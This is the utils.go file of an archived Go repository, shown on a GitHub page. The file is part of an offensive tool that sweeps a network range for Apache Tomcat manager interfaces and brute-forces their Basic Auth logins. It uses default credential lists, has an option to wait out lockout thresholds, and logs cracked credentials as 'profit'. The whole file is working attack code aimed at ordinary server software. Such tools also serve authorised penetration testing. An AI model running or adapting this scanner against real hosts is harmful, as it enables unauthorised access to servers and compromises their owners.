This repository was archived by the owner on May 2, 2021. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 6
/
Copy pathutils.go
179 lines (163 loc) · 6.89 KB
/
utils.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
package main
import (
"flag"
"fmt"
"log"
"net/http"
"strconv"
"strings"
"time"
"github.com/davecgh/go-spew/spew"
)
func prettyPrintLn(logType LogType, msg string) {
switch logType {
case debug:
if Debug {
log.Printf("%s: %s\n", cyan("[D]"), msg)
}
case info:
log.Printf("%s: %s\n", "[*]", msg)
case goodnews:
log.Printf("%s: %s\n", green("[+]"), msg)
case badnews:
log.Printf("%s: %s\n", yellow("[-]"), msg)
case profit:
log.Printf("%s: %s", green("[$]"), msg)
case warning:
log.Printf("%s: %s\n", yellow("[-]"), msg)
case err:
log.Printf("%s: %s\n", red("[X]"), msg)
}
}
func parseCommandLineArgs() *Configuration {
// Reading flags
networkUnparsed := flag.String("target", "", "The target network range in CIDR notation, e.g. 10.10.10.0/24")
portsUnparsed := flag.String("ports", "8080,8443,80,443,8000,8888", "Comma separated list of target ports.")
managerPathUnparsed := flag.String("managerpath", "/manager/html", "Manager path.")
goroutines := flag.Uint("concurrency", 100, "Concurrent Goroutines to use. Due to kernel limitations on linux, it should not be more than 'ulimit -n / 7'.")
userfile := flag.String("userfile", "", "A file containing user names to test. Requires also a passfile. If neither user-, password- and userpass list is given, the default lists from Metasploit project are used.")
passfile := flag.String("passfile", "", "A file containing passwords to test. Requires also a userfile. If neither user-, password- and userpass list is given, the default lists from Metasploit project are used.")
userpassfile := flag.String("userpassfile", "", "A file containing username:password combinations. If neither user-, password- and userpass list is given, the default lists from Metasploit project are used.")
timeout := flag.Duration("timeout", 2*time.Second, "HTTP timeout. Specify with unit suffix, e.g. '2500ms' or '3s'.")
avoidLockout := flag.Bool("avoid-lockout", false, "Try to avoid lockout by waiting Tomcat's default lockout treshold between tries. Your scan may get suuuper slow, but in the end, success matters.")
ignoreInsecure := flag.Bool("ignoreInsecure", true, "Ignore certificate errors. If you only want secure connections, set this to false.")
flag.BoolVar(&Debug, "debug", false, "Enable debugging output.")
flag.Parse()
// Parsing flags
networkIterator, e := NewNetIterator(*networkUnparsed)
if e != nil {
prettyPrintLn(err, e.Error())
}
managerPath := parseStringToManagerPath(*managerPathUnparsed)
ports := parseStringToPorts(*portsUnparsed)
guesses := buildGuesses(*userfile, *passfile, *userpassfile)
// Generating config
config := NewConfiguration(networkIterator, ports, guesses, managerPath, *goroutines, *timeout, *avoidLockout, *ignoreInsecure)
//ips, networkSize := parseStringToNetwork(networkUnparsed, randomizeHosts)
//ports := parseStringToPorts(portsUnparsed)
//managerPath := parseStringToManagerPath(managerPathUnparsed)
//sc := ScannerConfig{ips, networkSize, ports, managerPath, *goroutines, *userfile, *passfile, *userpassfile}
//prettyPrintLn(info, fmt.Sprintf("Ports to scan: %s", strings.Trim(strings.Join(strings.Fields(fmt.Sprint(ports)), ","), "[]"))) // ",".join(ports), but with //static types... -.-
prettyPrintLn(info, fmt.Sprintf("Manager path: %s", managerPath))
prettyPrintLn(info, fmt.Sprintf("Debug is on: %t", Debug))
prettyPrintLn(debug, fmt.Sprintf("Goroutines to use: %d", *goroutines))
return config
}
func parseStringToManagerPath(rawString string) string {
// Only basic checks to make sure building the request later creates a valid request
if strings.HasPrefix(rawString, "/") {
return rawString
}
return "/" + rawString
}
func parseStringToPorts(rawString string) []uint {
portStringSplitted := strings.Split(rawString, ",")
portSlice := make([]uint, 0)
for i := 0; i < len(portStringSplitted); i++ {
val, _ := strconv.ParseUint(portStringSplitted[i], 10, 16)
portSlice = append(portSlice, uint(val))
}
return portSlice
}
// Used to track how long the execution takes
func timeTrack(start time.Time) {
elapsed := time.Since(start)
prettyPrintLn(info, fmt.Sprintf("Completed in %s\n", elapsed))
}
// CheckEndpoint makes sure that the application is running there and
// we do not brute force anything else
func CheckEndpoint(target string, port uint, TLS bool) {
client := conf.HTTPClient
var scheme string
var responseLocationString string
if TLS {
scheme = "https://"
} else {
scheme = "http://"
}
if scheme == "" {
panic("scheme is empty")
}
url := (scheme + target + ":" + strconv.FormatUint(uint64(port), 10) + conf.ManagerPath())
var resp *http.Response
var e error
resp, e = client.Get(url)
if e != nil {
prettyPrintLn(debug, e.Error()) // For debugging socket issues
return
}
defer resp.Body.Close()
responseLocation, e := resp.Location()
if e != nil {
responseLocationString = url
} else {
spew.Dump(responseLocation)
responseLocationString = responseLocation.String()
newPort, e := strconv.ParseUint(responseLocation.Port(), 10, 32)
if e != nil {
prettyPrintLn(err, fmt.Sprintf("Something weird happened: %s", e.Error()))
} else {
prettyPrintLn(debug, fmt.Sprintf("Setting port from %d to %d", port, newPort))
port = uint(newPort)
}
}
if resp.StatusCode == http.StatusNotFound {
prettyPrintLn(badnews, fmt.Sprintf("Manager not found (404 NotFound) at %s", responseLocationString))
} else if resp.StatusCode == http.StatusForbidden {
prettyPrintLn(badnews, fmt.Sprintf("Manager not found (403 Forbidden) at %s", responseLocationString))
} else if resp.StatusCode == http.StatusUnauthorized {
prettyPrintLn(goodnews, fmt.Sprintf("Manager found at %s", responseLocationString))
NewBruter(target, port)
} else if resp.StatusCode == http.StatusBadRequest && !TLS {
CheckEndpoint(target, port, true)
} else {
prettyPrintLn(info, fmt.Sprintf("HTTP %d without authentication at %s", resp.StatusCode, responseLocationString))
}
}
// BruteEndpoint is the function that performs the actual guessing
func BruteEndpoint(target string, port uint, TLS bool, guess Guess) {
client := conf.HTTPClient
var scheme string
if TLS {
scheme = "https://"
} else {
scheme = "http://"
}
url := (scheme + target + ":" + strconv.FormatUint(uint64(port), 10) + conf.ManagerPath())
prettyPrintLn(debug, fmt.Sprintf("Trying %s:%s against %s", guess.username, guess.password, url))
req, e := http.NewRequest("GET", url, nil)
if e != nil {
prettyPrintLn(debug, fmt.Sprintf("Error (%s) when creating request for %s", e.Error(), url))
}
req.SetBasicAuth(guess.username, guess.password)
resp, e := client.Do(req)
if e != nil {
prettyPrintLn(debug, fmt.Sprintf("%s when trying %s:%s against %s", e.Error(), guess.username, guess.password, url))
return
}
if resp.StatusCode == http.StatusBadRequest && !TLS {
BruteEndpoint(target, port, true, guess)
} else if resp.StatusCode == http.StatusOK {
prettyPrintLn(profit, fmt.Sprintf("Success! %s:%s on %s", guess.username, guess.password, url))
}
}